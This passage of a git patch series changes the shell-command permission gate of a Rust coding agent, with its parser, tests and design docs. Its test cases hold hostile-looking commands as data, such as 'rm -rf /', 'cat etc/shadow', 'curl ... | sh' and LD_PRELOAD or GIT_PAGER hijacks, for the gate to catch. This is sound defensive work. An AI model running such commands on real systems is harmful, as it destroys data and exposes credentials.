"-u", "--chdir", "--unset"], + directory: &["-C", "--chdir"], numeric: false, positionals: 0, assignments: true, }, + Wrapper { + name: "exec", + flags: &["-c", "-l"], + valued: &["-a"], + directory: &[], + numeric: false, + positionals: 0, + assignments: false, + }, Wrapper { name: "nice", flags: &[], valued: &["-n", "--adjustment"], + directory: &[], numeric: true, positionals: 0, assignments: false, @@ -63,6 +145,7 @@ const WRAPPERS: &[Wrapper] = &[ name: "nohup", flags: &[], valued: &[], + directory: &[], numeric: false, positionals: 0, assignments: false, @@ -71,6 +154,7 @@ const WRAPPERS: &[Wrapper] = &[ name: "time", flags: &["-p"], valued: &[], + directory: &[], numeric: false, positionals: 0, assignments: false, @@ -79,6 +163,7 @@ const WRAPPERS: &[Wrapper] = &[ name: "timeout", flags: &["-v", "--foreground", "--preserve-status", "--verbose"], valued: &["-k", "-s", "--kill-after", "--signal"], + directory: &[], numeric: false, positionals: 1, assignments: false, @@ -130,14 +215,14 @@ impl CommandTarget { writes: Vec::new(), opaque: false, changes_dir: false, - relative_write: false, + relative_path: false, }; walk.script(command); Self { command: command.to_owned(), segments: walk.segments, writes: walk.writes, - opaque: walk.opaque || (walk.changes_dir && walk.relative_write), + opaque: walk.opaque || (walk.changes_dir && walk.relative_path), } } @@ -158,12 +243,15 @@ impl CommandTarget { } } -/// One simple command, from its name on, after its leading assignments and transparent wrappers. +/// One simple command. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub(super) struct Segment { - /// The command as written. + /// The command as written, from where a rule must name it. Leading assignments of + /// [`SAFE_VARIABLES`] and transparent wrappers are left out, up to the first assignment of + /// another variable. text: String, - /// The words the shell passes, unquoted, or as written where a word expands. + /// The words of the program that runs, past every assignment and wrapper, unquoted, or as + /// written where a word expands. words: Vec, /// The files a shipped known-safe read-only command reads, resolved like a read's path, or /// `None` for any other command. @@ -194,8 +282,8 @@ struct Walk<'a> { opaque: bool, /// Whether some segment changes the working directory. changes_dir: bool, - /// Whether some write names a relative path. - relative_write: bool, + /// Whether some write or known-safe read names a relative path. + relative_path: bool, } impl Walk<'_> { @@ -216,6 +304,28 @@ impl Walk<'_> { match node.kind() { "command" => self.command(node, src), "file_redirect" => self.redirect(node, src), + "variable_assignment" => { + self.opaque |= SHELL_VARIABLES.contains(&assigned(&src[node.byte_range()])); + self.visit_children(node, src); + } + "declaration_command" => { + let mut cursor = node.walk(); + self.opaque |= node.named_children(&mut cursor).any(|child| { + let name = match child.kind() { + "variable_assignment" => assigned(&src[child.byte_range()]), + "variable_name" => &src[child.byte_range()], + _ => return false, + }; + !SAFE_VARIABLES.contains(&name) + }); + self.visit_children(node, src); + } + "for_statement" => { + self.opaque |= node + .child_by_field_name("variable") + .is_some_and(|name| SHELL_VARIABLES.contains(&&src[name.byte_range()])); + self.visit_children(node, src); + } _ => { self.opaque |= runs_hidden_code(node); self.visit_children(node, src); @@ -244,9 +354,19 @@ impl Walk<'_> { }) .map(|word| Word::new(word, src)) .collect(); - self.visit_children(node, src); + let mut unsafe_assignment = None; + for child in node.named_children(&mut cursor) { + if child.kind() == "variable_assignment" { + if !SAFE_VARIABLES.contains(&assigned(&src[child.byte_range()])) { + unsafe_assignment.get_or_insert(child); + } + self.visit_children(child, src); + } else { + self.visit(child, src); + } + } - let words = self.strip_wrappers(&words); + let (words, named) = self.strip_wrappers(&words); let Some((first, args)) = words.split_first() else { return; }; @@ -262,30 +382,53 @@ impl Walk<'_> { self.changes_dir |= DIRECTORY_CHANGERS.contains(&name); } } + let pinned = unsafe_assignment.is_some() || named.len() > words.len(); let safe_reads = name + .filter(|_| !pinned) .and_then(|name| safe_operands(name, args)) .map(|operands| { + self.relative_path |= operands.iter().any(|path| Path::new(path).is_relative()); operands .iter() .map(|operand| GateTarget::for_path(operand, self.cwd)) .collect() }); + let start = unsafe_assignment.unwrap_or(named[0].node).start_byte(); self.segments.push(Segment { - text: src[first.node.start_byte()..node.end_byte()].to_owned(), + text: src[start..node.end_byte()].to_owned(), words: words.iter().map(|word| word.shell_value(src)).collect(), safe_reads, }); } - /// `words` past the transparent wrappers that lead them. A wrapper option the analysis does - /// not know leaves the command where it cannot be found, so it turns the command opaque. - fn strip_wrappers<'w, 't>(&mut self, mut words: &'w [Word<'t>]) -> &'w [Word<'t>] { - while let Some((name, args)) = words.split_first() + /// Strips the transparent wrappers that lead `words`, returning the words of the command that + /// runs and the words a rule must name. The latter keep every wrapper from the first one that + /// sets a variable outside [`SAFE_VARIABLES`]. A wrapper option the analysis does not know + /// leaves the command where it cannot be found, so it turns the command opaque. + fn strip_wrappers<'w, 't>( + &mut self, + words: &'w [Word<'t>], + ) -> (&'w [Word<'t>], &'w [Word<'t>]) { + let (mut runs, mut named, mut pinned) = (words, words, false); + while let Some((name, args)) = runs.split_first() && let Some(name) = name.value.as_deref() && let Some(wrapper) = WRAPPERS.iter().find(|w| w.name == basename(name)) { match wrapper.command_start(args) { - Start::At(start) => words = &args[start..], + Start::At(start) => { + let options = &args[..start]; + self.changes_dir |= wrapper.changes_dir(options); + let sets_unsafe = options.iter().any(|word| { + word.value.as_deref().is_some_and(|arg| { + is_assignment(arg) && !SAFE_VARIABLES.contains(&assigned(arg)) + }) + }); + runs = &args[start..]; + pinned |= sets_unsafe; + if !pinned { + named = runs; + } + } Start::Alone => break, Start::Unknown => { self.opaque = true; @@ -293,7 +436,7 @@ impl Walk<'_> { } } } - words + (runs, named) } /// Walks the literal script a shell's `-c` option or `eval` runs, so deny rules see the @@ -347,7 +490,7 @@ impl Walk<'_> { if DEVICES.contains(&path.as_str()) { return; } - self.relative_write |= Path::new(&path).is_relative(); + self.relative_path |= Path::new(&path).is_relative(); self.writes.push(GateTarget::for_path(&path, self.cwd)); } } @@ -384,6 +527,8 @@ struct Wrapper { flags: &'static [&'static str], /// Options that take a value, either as the next word or attached (`-n5`, `--signal=KILL`). valued: &'static [&'static str], + /// Valued options that run the command in another directory. + directory: &'static [&'static str], /// Whether `-N` sets a number, as `nice -10` does. numeric: bool, /// Words after the options that precede the command, such as `timeout`'s duration. @@ -402,6 +547,18 @@ enum Start { } impl Wrapper { + /// Whether `options` run the command in another directory. + fn changes_dir(&self, options: &[Word<'_>]) -> bool { + options + .iter() + .filter_map(|word| word.value.as_deref()) + .any(|arg| { + self.directory + .iter() + .any(|option| arg == *option || is_attached(arg, option)) + }) + } + fn command_start(&self, args: &[Word<'_>]) -> Start { let mut i = 0; while let Some(arg) = args.get(i) { @@ -456,6 +613,13 @@ fn is_attached(arg: &str, option: &str) -> bool { }) } +/// The variable a `NAME=VALUE`, `NAME+=VALUE`, or `NAME[i]=VALUE` assignment sets. +fn assigned(assignment: &str) -> &str { + assignment + .find(['=', '+', '[']) + .map_or(assignment, |end| &assignment[..end]) +} + /// Whether `arg` is a `NAME=VALUE` environment assignment. fn is_assignment(arg: &str) -> bool { arg.split_once('=').is_some_and(|(name, _)| { @@ -581,14 +745,15 @@ fn safe_operands(name: &str, args: &[Word<'_>]) -> Option> { .iter() .map(|word| word.value.as_deref().filter(|_| !word.glob)) .collect::>>()?; - let safe = match name { - "cat" | "head" | "ls" | "tail" | "wc" => true, - "find" => !values.iter().any(|value| FIND_ACTIONS.contains(value)), - "grep" => !values.iter().any(|value| is_recursive_grep(value)), - "sed" => is_safe_sed(&values), - _ => false, - }; - safe.then(|| operands(&values)) + match name { + "cat" | "head" | "ls" | "tail" | "wc" => Some(operands(&values)), + "find" if !values.iter().any(|value| FIND_ACTIONS.contains(value)) => { + Some(operands(&values)) + } + "grep" if !values.iter().any(|value| is_recursive_grep(value)) => Some(operands(&values)), + "sed" => sed_files(&values), + _ => None, + } } /// Every argument that may name a file: each word past the options, the value of a long option @@ -618,61 +783,70 @@ fn operands(values: &[&str]) -> Vec { } /// Whether a `grep` argument makes it read every file under a directory. +/// `--directories` and `-d` count whatever their value, since grep accepts `rec` for `recurse`. fn is_recursive_grep(arg: &str) -> bool { - matches!(arg, "--dereference-recursive" | "--recursive" | "recurse") - || arg.ends_with("=recurse") - || (arg.starts_with('-') && !arg.starts_with("--") && arg.contains(['r', 'R'])) + match long_option(arg) { + Some(name) => ["dereference-recursive", "directories", "recursive"] + .iter() + .any(|option| option.starts_with(name)), + None => arg.starts_with('-') && arg.contains(['d', 'r', 'R']), + } } -/// Whether a `sed` call edits no file and runs no command: no in-place edit, no script file, and -/// only scripts [`SAFE_SED_SCRIPT`] accepts. -fn is_safe_sed(values: &[&str]) -> bool { +/// The files a `sed` call reads, or `None` when it may edit a file in place, read a script file, or +/// run a script [`SAFE_SED_SCRIPT`] does not accept. +fn sed_files(values: &[&str]) -> Option> { let mut scripts = Vec::new(); - let mut operands = Vec::new(); + let mut files = Vec::new(); let mut args = values.iter().copied(); while let Some(arg) = args.next() { if arg == "--" { - operands.extend(args.by_ref()); - } else if let Some(long) = arg.strip_prefix("--") { - if long.starts_with("file") || long.starts_with("in-place") { - return false; + files.extend(args.by_ref()); + } else if let Some(name) = long_option(arg) { + if ["file", "in-place"] + .iter() + .any(|option| option.starts_with(name)) + { + return None; } - if let Some(script) = long.strip_prefix("expression=") { - scripts.push(script); - } else if long == "expression" { - let Some(script) = args.next() else { - return false; - }; - scripts.push(script); + if "expression".starts_with(name) { + match arg.split_once('=') { + Some((_, script)) => scripts.push(script), + None => scripts.push(args.next()?), + } } } else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) { - if cluster.contains(['f', 'i']) { - return false; + if cluster.contains(['I', 'f', 'i']) { + return None; } if let Some(at) = cluster.find('e') { let attached = &cluster[at + 1..]; - let Some(script) = (if attached.is_empty() { - args.next() + scripts.push(if attached.is_empty() { + args.next()? } else { - Some(attached) - }) else { - return false; - }; - scripts.push(script); + attached + }); } } else { - operands.push(arg); + files.push(arg); } } - if scripts.is_empty() { - let Some(&script) = operands.first() else { - return false; - }; - scripts.push(script); + if scripts.is_empty() && !files.is_empty() { + scripts.push(files.remove(0)); } - scripts - .iter() - .all(|script| SAFE_SED_SCRIPT.is_match(script)) + let safe = !scripts.is_empty() + && scripts + .iter() + .all(|script| SAFE_SED_SCRIPT.is_match(script)); + safe.then(|| files.into_iter().map(str::to_owned).collect()) +} + +/// The name of a long option such as `--name` or `--name=value`, which GNU tools accept +/// abbreviated to any prefix that names one option. +fn long_option(arg: &str) -> Option<&str> { + let option = arg.strip_prefix("--")?; + let name = option.split_once('=').map_or(option, |(name, _)| name); + (!name.is_empty()).then_some(name) } #[cfg(test)] @@ -749,7 +923,7 @@ mod tests { #[test] fn parse_strips_leading_assignments_and_keeps_words_unquoted() { - assert_eq!(texts(r#"FOO=1 BAR="x y" cargo test"#), ["cargo test"]); + assert_eq!(texts(r#"LANG=C TZ="x y" cargo test"#), ["cargo test"]); assert_eq!( words(indoc! {r#" "rm" -rf 'a b' c\ d "e\"f\ @@ -760,6 +934,51 @@ mod tests { assert!(texts("FOO=1").is_empty(), "an assignment runs no command"); } + #[test] + fn parse_keeps_an_assignment_that_may_change_the_program_in_the_text_a_rule_names() { + for (command, text, name) in [ + ( + "RUST_LOG=debug LD_PRELOAD=./x.so cat a", + "LD_PRELOAD=./x.so cat a", + "cat", + ), + ("GIT_PAGER=sh git log", "GIT_PAGER=sh git log", "git"), + ( + "nice env PATH=. nohup cat a", + "env PATH=. nohup cat a", + "cat", + ), + ] { + let command = parse(command); + let segment = &command.segments[0]; + assert_eq!(segment.text, text, "{command:?}"); + assert_eq!(segment.words[0], name, "{command:?}"); + assert!(segment.safe_reads.is_none(), "{command:?}"); + assert!(!command.is_opaque(), "{command:?}"); + } + assert!(is_safe("LANG=C TZ=UTC env NO_COLOR=1 cat a")); + } + + #[test] + fn parse_turns_a_variable_the_shell_or_a_later_program_reads_opaque() { + for command in [ + "PATH=.; ls", + "HOME=/; cat ~/x", + "export GIT_PAGER=sh; git log", + "declare -x PATH", + "for PATH in .; do ls; done", + ] { + assert!(parse(command).is_opaque(), "{command:?}"); + } + for command in [ + "X=1; echo hi", + "export RUST_LOG=debug; cargo test", + "for f in a b; do cat \"$f\"; done", + ] { + assert!(!parse(command).is_opaque(), "{command:?}"); + } + } + #[test] fn parse_expands_a_leading_tilde_only() { temp_env::with_var(HOME_VAR, Some(abs("/home/u")), || { @@ -782,7 +1001,7 @@ mod tests { #[test] fn parse_strips_transparent_wrappers_and_their_options() { for command in [ - "env -i -u HOME FOO=1 rm -rf x", + "env -i -u HOME TZ=UTC rm -rf x", "env --chdir=/tmp rm -rf x", "nice -n 5 rm -rf x", "nice -10 rm -rf x", @@ -791,6 +1010,9 @@ mod tests { "time -p rm -rf x", "timeout -s KILL --preserve-status 5m rm -rf x", "/usr/bin/nice nohup -- timeout 5 rm -rf x", + "builtin rm -rf x", + "command -p rm -rf x", + "exec -a name rm -rf x", ] { let command = parse(command); assert_eq!(command.segments[0].text, "rm -rf x", "{command:?}"); @@ -838,6 +1060,12 @@ mod tests { "[[ -f x ]]", "ls 'unterminated", "cd /etc && echo > passwd", + "env -C /etc echo > hosts", + "env --chdir=/etc echo > hosts", + "cd / && cat etc/shadow", + "exec sh -c 'ls'", + "command eval ls", + "builtin . env.sh", ] { assert!(parse(command).is_opaque(), "{command:?}"); } @@ -845,6 +1073,8 @@ mod tests { "cat <<'EOF'\n$(id)\nEOF", "echo '$(id)'", "cd x && echo > /dev/null", + "cd x && ls", + "cd x && cat /etc/hosts", "ls $HOME", ] { assert!(!parse(command).is_opaque(), "{command:?}"); @@ -858,6 +1088,7 @@ mod tests { "sh -c 'rm -rf /'", "bash -lc \"rm -rf /\"", "eval rm -rf /", + "exec sh -c 'rm -rf /'", ] { assert!( texts(command).contains(&"rm -rf /".to_owned()), @@ -972,15 +1203,18 @@ mod tests { "grep --recursive TODO .", "grep -d recurse TODO .", "grep --directories=recurse TODO .", + "grep --rec TODO .", + "grep --dir=rec TODO .", + "grep -d rec TODO .", ] { assert!(!is_safe(command), "{command:?}"); } } - // ── is_safe_sed ── + // ── sed_files ── #[test] - fn is_safe_sed_admits_scripts_that_only_print_or_rewrite_text() { + fn sed_files_admits_scripts_that_only_print_or_rewrite_text() { for command in [ "sed -n '1,20p' a.rs", "sed 's/foo/bar/g' a.rs", @@ -989,6 +1223,7 @@ mod tests { "sed --expression '$p' a.rs", "sed --quiet 1p a.rs", "sed -es/a/b/ a.rs", + "sed --exp=1p a.rs", "sed -ne '3p;5q' a.rs", "sed -n -- '1!G;h;$p' a.rs", ] { @@ -997,9 +1232,13 @@ mod tests { } #[test] - fn is_safe_sed_refuses_in_place_edits_script_files_and_writing_or_running_commands() { + fn sed_files_refuses_in_place_edits_script_files_and_writing_or_running_commands() { for command in [ "sed -i 's/a/b/' a.rs", + "sed -I '' 's/a/b/' a.rs", + "sed --in 's/a/b/' a.rs", + "sed --fi=script.sed a.rs", + "sed --exp='w out' p a.rs", "sed -ni 'p' a.rs", "sed --in-place=.bak 's/a/b/' a.rs", "sed -f script.sed a.rs", @@ -1016,4 +1255,16 @@ mod tests { assert!(!is_safe(command), "{command:?}"); } } + + #[test] + fn sed_files_reads_the_files_past_the_script() { + for command in ["sed -n 1p a.rs", "sed -e 1p -- a.rs"] { + let reads = parse(command).segments[0].safe_reads.clone().unwrap(); + assert_eq!( + reads, + [GateTarget::for_path("a.rs", Path::new("/repo"))], + "{command:?}" + ); + } + } } diff --git a/docs/design/tools/permissions.md b/docs/design/tools/permissions.md index 32fcf9d8..fce896be 100644 --- a/docs/design/tools/permissions.md +++ b/docs/design/tools/permissions.md @@ -46,7 +46,9 @@ Each resolved target belongs to one zone: ## Command Targets -A `bash` call's target is its command as tree-sitter-bash parses it. `GateTarget::for_command` splits the command into simple commands across `;`, `&&`, `||`, `&`, pipes, line breaks, subshells, and compound statements. Each simple command drops its leading variable assignments and the transparent wrappers `env`, `nice`, `nohup`, `time`, and `timeout` with their options, so `RUST_LOG=debug nice -n 5 cargo test 2>&1` runs the simple command `cargo test`. Its words are unquoted, and a leading unquoted `~` or `~/` expands to the home directory. Each output redirection to a file (`>`, `>>`, `>|`, `&>`, `&>>`) becomes an edit-class path target resolved and zoned like a path tool's, except for `/dev/null` and the other standard streams. +A `bash` call's target is its command as tree-sitter-bash parses it. `GateTarget::for_command` splits the command into simple commands across `;`, `&&`, `||`, `&`, pipes, line breaks, subshells, and compound statements. Each simple command drops the transparent wrappers `builtin`, `command`, `env`, `exec`, `nice`, `nohup`, `time`, and `timeout` with their options, so `nice -n 5 cargo test 2>&1` runs the simple command `cargo test`. Its words are unquoted, and a leading unquoted `~` or `~/` expands to the home directory. Each output redirection to a file (`>`, `>>`, `>|`, `>&`, `&>`, `&>>`) becomes an edit-class path target resolved and zoned like a path tool's, except for `/dev/null` and the other standard streams. + +A leading assignment, either before the command or as an `env` argument, drops out of the text a rule matches only when it sets one of a short list of variables that change output and nothing else, such as `RUST_LOG`, `LANG`, `TZ`, or `NO_COLOR`. Any other variable can change which program runs or what it loads, as `PATH`, `LD_PRELOAD`, and `GIT_PAGER` do, so the text keeps it. `GIT_PAGER=sh git log` then needs a rule that names the assignment, and it is never a known-safe read. Deny rules still see the program that runs. A command is opaque when the parse cannot show everything it runs or writes: @@ -55,15 +57,18 @@ A command is opaque when the parse cannot show everything it runs or writes: - It runs a shell such as `sh`, `bash`, or `zsh`, or a builtin that runs code (`eval`, `source`, `.`, `trap`, `let`), so both `sh -c '...'` and `curl ... | sh` are opaque. - A wrapper takes an option the parser does not know, such as `env -S`. - A redirection target is not a literal path, holds a glob, or names more than one file. -- A `cd`, `pushd`, or `popd` runs alongside a redirection to a relative path, which may then land elsewhere. +- It assigns a variable the shell itself reads, such as `PATH`, `HOME`, `IFS`, or `BASH_ENV`, by a plain assignment or a `for` loop, or it declares or exports a variable outside the short list above, since later commands see it. +- A `cd`, `pushd`, `popd`, or `env -C` runs alongside a redirection or a known-safe read of a relative path, which may then name another file. The literal script of `sh -c` and the joined arguments of `eval` are parsed as well, so a deny rule still sees the simple commands inside them. A few read-only commands run without an allow rule. `echo`, `false`, `pwd`, and `true` are always safe. `cat`, `head`, `ls`, `tail`, `wc`, `find`, `grep`, and `sed` are safe when every argument is a literal word without globs and the command runs by its bare name, with guards for the ones that can do more: - `find` without an action that runs a command, deletes, or writes a file (`-exec`, `-execdir`, `-ok`, `-okdir`, `-delete`, `-fls`, `-fprint`, `-fprint0`, `-fprintf`). -- `grep` without a recursive option. -- `sed` without `-i` or a script file, and with scripts that only print, delete, substitute, or move text between buffers. +- `grep` without a recursive option or `-d`. +- `sed` without `-i`, `-I`, or a script file, and with scripts that only print, delete, substitute, or move text between buffers. + +Long options count by any prefix GNU tools accept for them, so `sed --in` is refused as `--in-place`. Every argument that may name a file, such as each word past the options and a value attached to an option, counts as a read of that path. A read that a `read` deny rule matches makes the command ask, since the arguments over-approximate the files it reads. diff --git a/docs/guide/configuration.md b/docs/guide/configuration.md index 11f319b3..b76a907d 100644 --- a/docs/guide/configuration.md +++ b/docs/guide/configuration.md @@ -214,7 +214,7 @@ deny = ["read(**/.env)", "bash(git push:*)"] Rules follow the format `class(specifier)`. The class is `read` (read, grep, and glob tools), `edit` (edit and write), or `bash`, and a bare class name or `class(*)` matches every call in that class. -- **`bash`** specifiers match commands exactly (`bash(git status)`), by prefix (`bash(cargo test:*)`), or by wildcard (`bash(git *)`). Each specifier matches one simple command after leading `VAR=value` assignments, wrappers such as `env`, `nice`, and `timeout`, and redirections are set aside, so `bash(cargo test:*)` covers `RUST_LOG=debug cargo test 2>&1`. A command chained with `;`, `&&`, `||`, or `|` is allowed only when every part is, and writing a file with `>` also needs that file to be inside the working directory or allowed by an `edit` rule. A deny rule matches when any part matches, including a quoted or full-path command name such as `/bin/rm`. A command that hides what it runs, such as `$(...)`, `eval`, or `sh -c`, is never allowed by a rule, so it asks unless a deny rule matches. Read-only commands such as `ls`, `cat`, `grep`, `find` without `-exec` or `-delete`, and `sed` without `-i` run without asking. +- **`bash`** specifiers match commands exactly (`bash(git status)`), by prefix (`bash(cargo test:*)`), or by wildcard (`bash(git *)`). Each specifier matches one simple command after wrappers such as `env`, `nice`, and `timeout` and redirections are set aside, so `bash(cargo test:*)` covers `nice cargo test 2>&1`. A leading `VAR=value` assignment is set aside too when it only changes output, as `RUST_LOG`, `LANG`, and `NO_COLOR` do. Any other assignment stays part of the command, so `CARGO_TARGET_DIR=/tmp cargo test` needs a rule that names it. A command chained with `;`, `&&`, `||`, or `|` is allowed only when every part is, and writing a file with `>` also needs that file to be inside the working directory or allowed by an `edit` rule. A deny rule matches when any part matches, including a quoted or full-path command name such as `/bin/rm`. A command that hides what it runs, such as `$(...)`, `eval`, or `sh -c`, is never allowed by a rule, so it asks unless a deny rule matches. Read-only commands such as `ls`, `cat`, `grep`, `find` without `-exec` or `-delete`, and `sed` without `-i` run without asking. - **`read` and `edit`** specifiers are path globs where `*` and `?` match within one path segment and `**` spans segments. A relative glob matches paths inside the working directory, so `edit(*.json)` covers `package.json` but not `src/a.json`. A glob starting with `/` or `~/` matches the absolute path after symlinks resolve. - **Deny and allow** match paths differently. An allow rule matches only the resolved path, with exact case and spelling. A deny rule also matches the path as the call writes it and, when the rule's literal leading directories run through a symlink at startup, the location they resolve to. It treats names that differ only in case, Unicode normalization, invisible characters, or trailing dots as the same name, so `read(**/.env)` also blocks `.ENV`. A `read` deny rule also hides the files it matches from a `grep` or `glob` over their directory, and the output counts the hidden files without naming them. From 3bfe58117d0ddd2d7ebe882dec570e7b6559d920 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 16 Oct 2026 15:22:53 +0800 Subject: [PATCH 3/3] test(permission): compare shell paths as the gate resolves them --- crates/oxide-code/src/permission/shell.rs | 22 ++++++---------------- 1 file changed, 6 insertions(+), 16 deletions(-) diff --git a/crates/oxide-code/src/permission/shell.rs b/crates/oxide-code/src/permission/shell.rs index 9e00c340..eea6e7b6 100644 --- a/crates/oxide-code/src/permission/shell.rs +++ b/crates/oxide-code/src/permission/shell.rs @@ -1074,7 +1074,7 @@ mod tests { "echo '$(id)'", "cd x && echo > /dev/null", "cd x && ls", - "cd x && cat /etc/hosts", + &format!("cd x && cat {}", abs("/etc/hosts")), "ls $HOME", ] { assert!(!parse(command).is_opaque(), "{command:?}"); @@ -1109,8 +1109,8 @@ mod tests { ); let outside = abs("/etc/hosts"); assert_eq!( - writes(&format!("echo a > {outside}"), &cwd), - [PathBuf::from(&outside).to_string_lossy()] + CommandTarget::parse(&format!("echo a > {outside}"), &cwd).writes, + [GateTarget::for_path(&outside, &cwd)] ); } @@ -1145,20 +1145,10 @@ mod tests { fn safe_operands_names_every_word_that_may_be_a_file() { let command = CommandTarget::parse("grep -fpats --file=more -e x -- -y src", Path::new("/repo")); - let reads: Vec = command.segments[0] - .safe_reads - .clone() - .unwrap() - .into_iter() - .map(|read| match read { - GateTarget::Path { requested, .. } => requested, - other => panic!("a read is a path target, got {other:?}"), - }) - .collect(); - let at = |name: &str| Path::new("/repo").join(name).to_string_lossy().into_owned(); + let at = |name: &str| GateTarget::for_path(name, Path::new("/repo")); assert_eq!( - reads, - [at("pats"), at("more"), at("x"), at("-y"), at("src")] + command.segments[0].safe_reads, + Some(vec![at("pats"), at("more"), at("x"), at("-y"), at("src")]) ); assert_eq!( parse("echo $HOME *").segments[0].safe_reads,